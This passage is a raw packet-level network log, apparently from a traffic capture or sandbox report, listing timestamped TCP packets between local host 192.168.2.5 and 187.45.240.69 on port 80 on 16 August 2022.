Aug 16, 2022 11:44:54.464051008 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.464056015 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464099884 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464109898 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.464143038 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.464143991 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464169979 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464190006 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.464195967 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464224100 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.464246988 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.464287043 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464328051 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464337111 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.464375019 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.464390993 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464415073 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.464440107 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.464467049 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680469036 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680500984 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680517912 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680555105 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680572987 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680584908 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680589914 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680608988 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680629969 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680634975 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680648088 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680655956 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680666924 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680684090 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680686951 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680701971 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680718899 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680721998 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680737972 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680742025 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680754900 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680773020 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680775881 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680789948 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680807114 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680808067 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680824995 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680828094 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680843115 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680860996 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680864096 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680877924 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680896044 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680897951 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680913925 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680917025 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680931091 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680949926 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680951118 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680972099 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.680979967 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.680989027 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.681006908 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.681008101 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.681026936 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.681037903 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.681046009 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.681065083 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.681071997 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.681082010 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.681098938 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.681104898 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.681124926 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.681150913 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.681153059 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.681169987 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.681189060 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.681216002 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.691848040 CEST	49787	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.693588972 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.903865099 CEST	80	49787	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.950246096 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:54.950377941 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:54.951015949 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.198071003 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.206248045 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.206279993 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.206304073 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.206357002 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.206408978 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.206463099 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.206532001 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.206579924 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.206581116 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.206619024 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.206707954 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.206778049 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.206875086 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.206921101 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.207037926 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.207083941 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.207144976 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.207189083 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.454392910 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.454497099 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.454652071 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.454957008 CEST	49788	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.456202984 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.496402979 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.496454000 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.496484995 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.496510029 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.496635914 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.496685028 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.497196913 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.497298956 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.504254103 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.504281044 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.504297018 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.504311085 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.504386902 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.504427910 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.504441023 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.511977911 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.512006998 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.513200045 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.585215092 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.688649893 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.688775063 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.689536095 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.701877117 CEST	80	49788	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712220907 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712265968 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712300062 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712326050 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712331057 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.712352991 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712382078 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712394953 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.712408066 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712424040 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.712452888 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.712496042 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712517023 CEST	80	49781	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.712534904 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.712552071 CEST	49781	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.813529968 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.813661098 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.816940069 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.928286076 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.928462029 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.928534031 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.928657055 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.928725958 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.928754091 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.928798914 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.928991079 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.929049015 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.929155111 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.929204941 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.929403067 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.929471016 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.929589033 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.929637909 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.929879904 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.929935932 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.930147886 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.930205107 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:55.930444956 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:55.930505037 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.045054913 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.045192957 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.045227051 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.045295954 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.045341969 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.045377016 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.045382023 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.047460079 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.160928011 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.161165953 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.161191940 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.161227942 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.161494970 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.161545992 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.161926031 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.161978960 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.162405968 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.162462950 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.162842989 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.162897110 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.168901920 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.168992996 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.169249058 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.169342995 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.169765949 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.169845104 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.170254946 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.170356989 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.170753956 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.170849085 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.171288013 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.171370983 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.171792030 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.171866894 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.172410011 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.172513962 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.172926903 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.173022032 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.173409939 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.173496962 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.173908949 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.173996925 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.174428940 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.174525976 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.175079107 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.175177097 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.175626040 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.175734997 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.276175022 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.276282072 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.278574944 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.401658058 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.401778936 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.402204037 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.402304888 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.402420998 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.402508020 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.402679920 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.402774096 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.402924061 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.403013945 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.403245926 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.403333902 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.403458118 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.403577089 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.403775930 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.403857946 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.403987885 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.404124022 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.404289007 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.404423952 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.404676914 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.404752970 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.405082941 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.405186892 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.408658028 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.408757925 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.408803940 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.408984900 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.409037113 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.409138918 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.409282923 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.409373999 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.409555912 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.409641027 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.409842968 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.409915924 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.410126925 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.410212040 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.410367966 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.410451889 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.410717010 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.410795927 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.410898924 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.410978079 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.411190033 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.411266088 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.411446095 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.411561012 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.411744118 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.411818981 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.411950111 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.412039042 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.412317991 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.412379026 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.412497044 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.412560940 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.412770033 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.412834883 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.412919044 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.412972927 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.413157940 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.413219929 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.413438082 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.413500071 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.413690090 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.413750887 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.413921118 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.413989067 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.414201975 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.414262056 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.414412975 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.414477110 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.414657116 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.414712906 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.414885998 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.414940119 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.415154934 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.415236950 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.415411949 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.415486097 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.507149935 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.507236004 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.507251978 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.507293940 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.507298946 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.507333994 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.507363081 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.507384062 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.507404089 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.507461071 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.509218931 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.640993118 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.641038895 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.641108036 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.641141891 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.642304897 CEST	49789	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:56.775810003 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:56.920458078 CEST	80	49789	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.607712030 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.607745886 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.607764959 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.607779980 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.607824087 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.607852936 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.608201027 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.608284950 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.609380960 CEST	49795	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.610413074 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.610440016 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.610455990 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.610470057 CEST	80	49790	187.45.240.69	192.168.2.5
Aug 16, 2022 11:44:57.610529900 CEST	49790	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:44:57.610562086 CEST	49790	80	192.168.2.5	187.45.240.69
